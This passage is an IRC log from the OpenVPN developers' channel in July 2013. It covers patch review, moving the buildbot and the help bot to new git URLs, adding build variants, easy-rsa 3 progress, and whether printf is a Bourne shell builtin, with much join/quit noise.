buildbot master still looks at the wrong git repo (old path on sf), as does the vpn-helper... 14:24 <@cron2> well, who is maintaining vpn-helper anyway? ecrist, is that yours? 14:28 <@dazo> cron2: anyway! Thanks for pulling in those patches! 14:29 <@cron2> my way to shorten plaisthos' list :-) 14:30 <@cron2> but those were the easy ones, there are more tricky ones that need more brains... -> tomorrow 14:30 <@plaisthos> cron2: cron2 hehe 14:30 <@plaisthos> cron2: I will update the list 14:30 <@dazo> It makes it easier for me to parse my way through my mailbox too ... I got ~70 mails tagged, which needs to be re-evaluated 14:37 <@cron2> oh, I missed one of your patches (I took the plugin one for "3/3", but that was actually a new thread) 14:38 <@dazo> yeah, that came a few hours later ... when openvpn exploded in my face :) 15:02 <@plaisthos> I will add patches to the list when new patches are sent to the ml or if a see another patch which has been forgotten 15:05 <@cron2> plaisthos: James' stuff has been ACKed in the last meeting (or so I understood the discussion) 15:06 <@plaisthos> cron2: yeah. I was not sure if that was feature ack or real ack 15:06 <@cron2> Heikki's patch got a feature-ack from andj, and I think he promised to actually check the code... 15:06 <@plaisthos> it involes tls crypto stuff 15:09 <@cron2> mmmh. It definitely was a feature-ack and I think joachim also acked the code on the list (after some discussion) 15:09 <@cron2> but it's definitely less clear than "here is the patch" - "ACK". Which is why I didn't go there this evening, only the easy ones today. 15:21 <@plaisthos> !git 15:21 <@vpnHelper> "git" is (#1) For the stable git tree: git clone git://git.code.sf.net/p/openvpn/openvpn or (#2) For the development git tree: git://git.code.sf.net/p/openvpn/openvpn-testing or (#3) Browse the git repositories here: http://sourceforge.net/p/openvpn/openvpn-testing/ci/master/tree/ or (#4) See !git-doc how to use git or (#5) git troubles? http://justinhileman.info/article/git-pretty/git-pretty.png 15:23 <@cron2> plaisthos: that is up to date, but vpnhelper used to point out git commits, and I haven't seen anything in a while 15:23 <@cron2> so I think it's stuck on the old (now read-only) sf.net git URL... 15:28 <@plaisthos> cron2: probably 15:28 <@plaisthos> cron2: but my local copy had also the old url 15:29 <@cron2> heh, yeah. I have dozens of checkouts lying around on buildbots, customer servers, laptop, etc. and remembering to fix the git url is always fun :-) 15:35 <+krzee> cron2, i gave birth to him years ago but it has since moved to a server of ecrists', i have control too but forget which box its on :D 15:37 * plaisthos laughs 16:10 -!- mattock is now known as mattock_afk 16:25 -!- dazo is now known as dazo_afk 19:02 -!- raidz is now known as raidz_away --- Day changed Thu Jul 04 2013 01:03 -!- mattock_afk is now known as mattock 01:34 <@cron2> mattock: mornin' - are you here? 01:51 <@mattock> yup 01:58 <+krzee> cron2, what did you need done on vpnHelper? 02:01 <@cron2> krzee: what I wrote 10 lines above - point it to the new git url 02:01 <@cron2> mattock: ah. Did you change the git repo buildbot master looks at? It should have built a few things yesterday, but didn't 02:02 <+krzee> ah there it is, ill take a look 02:20 <@mattock> cron2: actually no, but I can do it now 02:21 -!- dazo_afk is now known as dazo 02:21 <@mattock> cron2: where do you want to point buildbot at? 02:21 <@mattock> new sfnet urls or github? 02:22 <@mattock> there's this: git://git.code.sf.net/p/openvpn/openvpn openvpn-openvpn 02:22 <@mattock> um, I mean: git://git.code.sf.net/p/openvpn/openvpn 02:23 <@dazo> sf.net should be a good point 02:24 <@cron2> !git 02:24 <@vpnHelper> "git" is (#1) For the stable git tree: git clone git://git.code.sf.net/p/openvpn/openvpn or (#2) For the development git tree: git://git.code.sf.net/p/openvpn/openvpn-testing or (#3) Browse the git repositories here: http://sourceforge.net/p/openvpn/openvpn-testing/ci/master/tree/ or (#4) See !git-doc how to use git or (#5) git troubles? http://justinhileman.info/article/git-pretty/git-pretty.png 02:24 <@cron2> that :) 02:24 <@mattock> hmm, openvpn-testing 02:24 <@mattock> ok 02:24 <@dazo> mattock: just pondering ... should we have separate (internal) push point for build-bot? So if we want to test some commits, we can do "force pushes" if needed? 02:24 <@mattock> dazo: that's actually what I suggested some months ago, and you were sceptical :P 02:24 <@dazo> (force push, due to if we regret patches we're testing, and revert them by using "git reset" or similar approaches) 02:24 <@cron2> dazo: I'd not overdo it 02:25 <@mattock> we agreed not to do it 02:25 <@dazo> mattock: was *I*? sure it wasn't cron2? ;-) 02:25 <@cron2> this would be great if we had 50 active developers and 10 patches coming in every day... 02:25 <@mattock> yeah, pretty sure :) 02:25 <@dazo> okay :) 02:25 <@mattock> anyways, I'll point buildbot to the openvpn-testing git tree and see if explodes 02:26 <@dazo> perfect! 02:26 <@cron2> I hope it will at least complain about "there's so much new work to do" :-) 02:27 <@mattock> buildmaster restarted 02:27 <@cron2> mattock: while you're at it... we needs a few more build variants, with --disable-snappy and --disable-snappy --disable-lzo... 02:28 <@mattock> ah yes, those 02:28 <@cron2> (since these are independent of the crypto side of things, we don't need the full set of permutations with enable/disable ssl/crypto for these, just two more builds, I'd say) 02:28 <@mattock> let's see how master.cfg needs to be twisted... 02:28 <@cron2> on my todo list is "adapt the reference test server so that it will push "compress snappy" if the client identifies that it supports it..." 02:30 <@mattock> ok, so we have this neat "extrabuildflagcombos" variable... it's currently checking things like "--with-crypto-library=openssl --enable-crypto --enable-ssl" 02:31 <@mattock> so 1) --disable-snappy, 2) --disable-snappy --disable-lzo ? 02:31 <@cron2> yep 02:35 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Remote host closed the connection] 02:35 <+krzee> =] 02:36 <+krzee> cron2, what feed do i put in place of http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=rss 02:36 <@mattock> cron2: done, I'll force all builds 02:37 <@dazo> bah .... seems the new sf.net stuff doesn't support rss feeds on git repos :/ 02:37 <@mattock> I'll switch fedora-16 and opensuse-121 02:37 <@mattock> on 02:38 <@dazo> mattock: f16? shouldn't that be "updated" soon? F17 goes EOL in 3 weeks or so 02:40 <@cron2> krzee: uh, no idea :-/ 02:40 <@cron2> dazo: maybe something on github? 02:41 <@dazo> didn't find anything yet :/ 02:41 <@cron2> hooray 02:42 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn-devel 02:42 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 02:42 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Client Quit] 02:43 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn-devel 02:43 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 02:43 <+krzee> ok, lemme know 02:44 <@mattock> dazo: yes, it probably should 02:44 <@mattock> updated 02:44 <@mattock> maybe to Fedora 18 02:45 <@dazo> mattock: F19 got released this week 02:45 <@mattock> ah, then that one 02:45 <@mattock> triggered a build on all builders 02:46 <+krzee> gitbuilder (apenwarr) - Auto-builds and tests all the branches of your git projects, showing pass/fail results on a web page/RSS feed. Isolates failures to the first commit that caused the problem. 02:46 <+krzee> github-rss (tobias) - Stick some diffs in your Github commit feed! 02:46 <+krzee> gitrss (stefanwille) - RSS feed for git commits. 02:46 <+krzee> maybe one of those? 02:46 <@dazo> krzee: https://github.com/OpenVPN/openvpn/commits/master.atom 02:46 <@vpnHelper> Title: Recent Commits to openvpn:master autoconf: Fix typo plugin: Extend the plug-in v3 API to identify the SSL implementation used (at github.com) 02:46 <+krzee> there ya go! 02:47 <@dazo> lets see how long it takes before that one disappears :-P 02:47 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Remote host closed the connection] 02:48 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn-devel 02:48 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 02:48 <+krzee> !testtrac 02:48 <@vpnHelper> autoconf: Fix typo || plugin: Extend the plug-in v3 API to identify the SSL implementation used || Remove the --disable-eurephia configure option || man page: Update man page about the tls_digest_{n} environment variable || Add support of utun devices under Mac OS X || PATCHv3 Remove unused variables or put them to the defines they are being used in || Improve documentation and help text 02:48 <@vpnHelper> for --route-ipv6. || Add support for client-cert-not-required for PolarSSL. || Do not pass struct tls_session* as void* in key_state_ssl_init(). || Fix another #ifdef/#if P2MP_SERVER || Move checking of script file access into set_user_script || Move settings of user script into set_user_script function || Fix #ifdefs for P2MP_SERVER || Provide more accurate warning message || Only 02:48 <@vpnHelper> print script warnings when a script is used. Remove stray mention of script-security system. || Fix problem with UDP tunneling due to mishandled pktinfo structures. || Make push-peer-info visible in "normal" per-instance environment. || Always push basic set of peer info values to server. || make 'explicit-exit-notify' pullable again || Fix usage of 'compression ...' from global config. 02:48 <@dazo> cool! 02:49 <@mattock> hmm, I wonder if the buildslaves need to be restarted... it seems the new test builds are just "pending" 02:49 <+krzee> =] 02:53 <@mattock> ah, finally they're building... 03:07 <@cron2> krzee: yep, cool. 03:07 <@cron2> mattock: buildbot tends to be lazy... "just wait a bit, maybe the work goes away on its own"... 03:50 <@mattock> yeah, there's the wait period after a commit is detected 03:50 <@mattock> but I think forced builds should start immediately 03:51 <@cron2> not when it's warm and sunny outside 03:51 <@mattock> that must be it :P 03:51 <@mattock> so we postpone today's meeting until next week? 03:53 <@cron2> you could do a small meeting :) 04:04 <@mattock> with I, me and myself? 04:20 <@cron2> dazo and plaisthos come to mind :) 04:26 <@dazo> I'm heading out around in about 5 hours+ ... so it would just be plaisthos then :) 04:31 -!- mattock_ [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 04:31 -!- mode/#openvpn-devel [+o mattock_] by ChanServ 04:32 -!- Netsplit *.net <-> *.split quits: @mattock 04:32 -!- mattock_ is now known as mattock 05:06 <@mattock> didn't dazo have a barbeque invitation? 05:07 <@dazo> that's right ... hoping for the sunshine to arrive in a few hours :) 05:12 <@mattock> it seems we got two opensuse build failures, and one netbsd 5.1 build failure 05:13 <@mattock> one opensuse fail was a git failure, so probably a glithc 05:13 <@mattock> glitch 05:13 <@mattock> rebuilding... 05:34 <@cron2> netbsd was also a git failure 05:38 <@mattock> yeah, triggered a rebuild 05:38 <@mattock> ok, got past Git --- Log closed Thu Jul 04 14:39:16 2013 --- Log opened Fri Jul 05 08:32:58 2013 08:32 -!- ecrist [~ecrist@freebsd/contributor/openvpn.community.support.ecrist] has joined #openvpn-devel 08:32 -!- Irssi: #openvpn-devel: Total of 18 nicks [7 ops, 0 halfops, 0 voices, 11 normal] 08:32 -!- mode/#openvpn-devel [+o ecrist] by ChanServ 08:32 -!- Irssi: Join to #openvpn-devel was synced in 1 secs 08:55 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 245 seconds] 08:59 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn-devel 09:08 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 264 seconds] 09:12 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn-devel 09:20 -!- dazo is now known as dazo_afk 09:37 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 264 seconds] 09:41 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn-devel 09:54 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 252 seconds] 09:58 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn-devel 10:07 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 252 seconds] 10:11 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn-devel 10:17 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 264 seconds] 10:21 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn-devel 10:39 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 245 seconds] 10:43 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn-devel 10:58 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Read error: Connection refused] 11:02 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn-devel 11:16 -!- raidz_away is now known as raidz 11:16 -!- mode/#openvpn-devel [+o raidz] by ChanServ 11:17 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 264 seconds] 11:21 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn-devel 11:46 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 245 seconds] 11:50 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn-devel 12:01 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 264 seconds] 12:04 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn-devel 12:27 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 252 seconds] 12:30 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn-devel 12:42 <@ecrist> pekster: did you ever post a beta for easy-rsa 3? 12:44 <@pekster> No, I had some extra Windows hassles, then a hardware issue on the box hosting the VM 12:44 <@pekster> I got things rebuild this week, so the VM is back up and I just committed the "Windows-specific" crap to a new repo, so I have one more spot-check to insure I didn't break anything with the changes then a build 12:45 <@ecrist> ok, I wanted to make sure I didn't miss a pull request or something 12:45 <@pekster> Ah. Well, all the 3.x codebase is completely refactored; I re-used almost nothing from the originals beyond small bits I copied from the openssl.cnf file -- even that is all-new to play into the new Subject options 12:46 <@ecrist> still would be a pull request for the 3.0 dir 12:46 <@pekster> Ah, gotcha 12:46 <@ecrist> unless you're forking 12:46 <@pekster> I'll need to see how the build stuff in 2.x works if the intend is to be able to call 'make' on it 12:46 <@pekster> intent* 12:47 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has quit [Ping timeout: 245 seconds] 12:48 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has joined #openvpn-devel 12:50 <@pekster> Outside of cygwin, getting a "proper shell" on Windows is such a pain. win-bash has a decent package that has the side-effect of playing nice with the paths users expect, like setting OPENSSL in vars to "C:\blah\openssl.exe" instead of cygwin's default of /cygdrive/c/blah/openssl.exe 12:52 <@pekster> It's old, but since it's IEEE1003.1 supported it's got all the necessary features 12:54 <@ecrist> pekster: take a look at this, if you've the time https://github.com/OpenVPN/easy-rsa/pull/5 12:54 < vpnHelper> Title: Add support for using a PKCS#11 SmartCard/Token containing a ROOT CA for signing the certificates by Wesseldr · Pull Request #5 · OpenVPN/easy-rsa · GitHub (at github.com) 12:54 <@ecrist> I like the idea, but not sure merging it with 2.0 is ideal at this point 13:06 <@pekster> The idea is good, although I don't like relying on things like 'printf' and such as yet-further externals something like Windows needs that aren't part of Std 1003.1 13:07 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 264 seconds] 13:10 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn-devel 13:18 <@pekster> Overall the pull request has nice functional examples (since I plan to mostly copy/paste the core commands, then clean them up as I port them into the 3.x codebase) so I'll just clean up some of those bits 13:19 <@pekster> Honesly, the reference to the functional commands is more useful to me anyway 13:26 <@ecrist> printf is in basic bourne and other shells, though 13:27 <@ecrist> afaik, it's pretty common amongst most semi-modern shells 13:29 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 252 seconds] 13:30 <@pekster> It's not part of bourne 13:30 <@pekster> Or IEEE 1003.1 (POSIX shell spec) 13:30 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 13:30 -!- mode/#openvpn-devel [+v krzee] by ChanServ 13:30 <@ecrist> sh-3.2$ printf 13:30 <@ecrist> printf: usage: printf [-v var] format [arguments] 13:31 <@pekster> $ which printf 13:31 <@pekster> /usr/bin/printf 13:31 <@ecrist> ecrist@ocelot:~-> sh 13:31 <@ecrist> $ printf 13:31 <@ecrist> usage: printf format [arguments ...] 13:31 <@pekster> != builtin 13:32 <@ecrist> um, just because there's a path to a printf command, doesn't mean it's not a builtin 13:32 <@ecrist> man builtin 13:33 <@ecrist> according to the freebsd builtin manpage, printf is part of bourne shell 13:33 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn-devel 13:34 <@ecrist> NOT the case on OS X 10.7 though 13:49 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 245 seconds] 13:51 <@cron2> *burb* 13:53 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn-devel 13:59 -!- mattock is now known as mattock_afk 14:03 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 252 seconds] 14:07 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn-devel 14:14 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 245 seconds] 14:18 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn-devel 15:42 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 245 seconds] 15:46 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn-devel 15:53 -!- waldner [waldner@openvpn/user/waldner] has quit [Ping timeout: 245 seconds] 16:02 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 252 seconds] 16:06 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn-devel 16:14 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Read error: Connection refused] 16:22 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn-devel 16:37 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 264 seconds] 16:41 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn-devel 17:35 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 245 seconds] 17:39 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn-devel 18:05 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 264 seconds] 18:09 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn-devel 18:24 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 245 seconds] 18:28 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn-devel 18:41 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 245 seconds] 18:45 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn-devel 18:47 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Read error: Connection refused] 18:55 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn-devel 19:10 -!- raidz is now known as raidz_away 19:32 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 245 seconds] 19:36 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn-devel 19:57 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 245 seconds] 20:01 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn-devel 20:40 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 245 seconds] 20:43 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn-devel 20:49 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 264 seconds] 20:53 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn-devel 20:58 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 245 seconds] 21:02 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn-devel 21:25 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 252 seconds] 21:29 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn-devel 22:03 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 245 seconds] 22:07 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn-devel 23:13 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 264 seconds] 23:16 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn-devel 23:30 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 245 seconds] 23:34 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn-devel --- Day changed Sat Jul 06 2013 00:08 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 252 seconds] 00:12 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn-devel 00:46 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 252 seconds] 00:50 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn-devel 01:00 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 252 seconds] 01:04 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn-devel 01:31 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 252 seconds] 01:35 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn-devel 01:59 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 245 seconds] 02:03 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn-devel 02:16 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 252 seconds] 02:20 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn-devel 02:49 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 252 seconds] 02:53 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn-devel 03:20 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 252 seconds] 03:23 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn-devel 03:40 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 252 seconds] 03:44 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn-devel 04:10 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 245 seconds] 04:13 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn-devel 04:44 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 252 seconds] 04:48 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn-devel 04:58 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 245 seconds] 05:02 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn-devel 05:23 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 252 seconds] 05:27 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn-devel 05:51 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 264 seconds] 05:55 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn-devel 06:02 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 264 seconds] 06:06 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn-devel 06:29 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 264 seconds] 06:32 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn-devel 06:47 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 245 seconds] 06:51 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn-devel 07:09 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 245 seconds] 07:13 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn-devel 07:32 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 264 seconds] 07:35 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn-devel 07:57 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 264 seconds] 08:00 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn-devel 08:48 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 252 seconds] 08:52 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn-devel 09:10 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 264 seconds] 09:14 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn-devel 09:25 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 252 seconds] 09:29 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn-devel 10:16 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 264 seconds] 10:19 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn-devel 10:42 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 245 seconds] 10:46 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn-devel 11:40 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 245 seconds] 11:40 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 245 seconds] 11:44 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn-devel 11:47 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 11:47 -!- mode/#openvpn-devel [+o dazo_afk] by ChanServ 11:47 -!- dazo_afk is now known as dazo 11:52 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 245 seconds] 11:56 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn-devel 12:00 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Remote host closed the connection] 12:05 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 12:05 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ 12:35 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 252 seconds] 12:39 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn-devel 13:25 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 252 seconds] 13:29 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn-devel 14:01 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 245 seconds] 14:05 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn-devel 14:12 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 245 seconds] 14:16 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn-devel 14:25 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 264 seconds] 14:29 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn-devel 15:07 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 264 seconds] 15:11 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn-devel 15:57 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 245 seconds] 16:01 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn-devel 16:15 -!- MeanderingCode [~Meanderin@cedarpark.aetherislands.net] has joined #openvpn-devel 16:56 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 252 seconds] 16:59 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn-devel 17:58 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 264 seconds] 18:02 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn-devel 18:19 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 264 seconds] 18:23 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn-devel 19:42 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 245 seconds] 19:46 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn-devel 19:56 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 264 seconds] 20:00 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn-devel 20:22 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 245 seconds] 20:26 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn-devel 20:41 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Ping timeout: 264 seconds] 20:42 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 264 seconds] 20:46 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn-devel 21:00 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 264 seconds] 21:03 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 21:03 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ 21:03 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn-devel 22:21 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 245 seconds] 22:24 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn-devel 23:11 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 252 seconds] 23:15 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn-devel 23:35 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Read error: Connection refused] 23:41 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn-devel 23:51 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 252 seconds] 23:55 -!- Whoopie 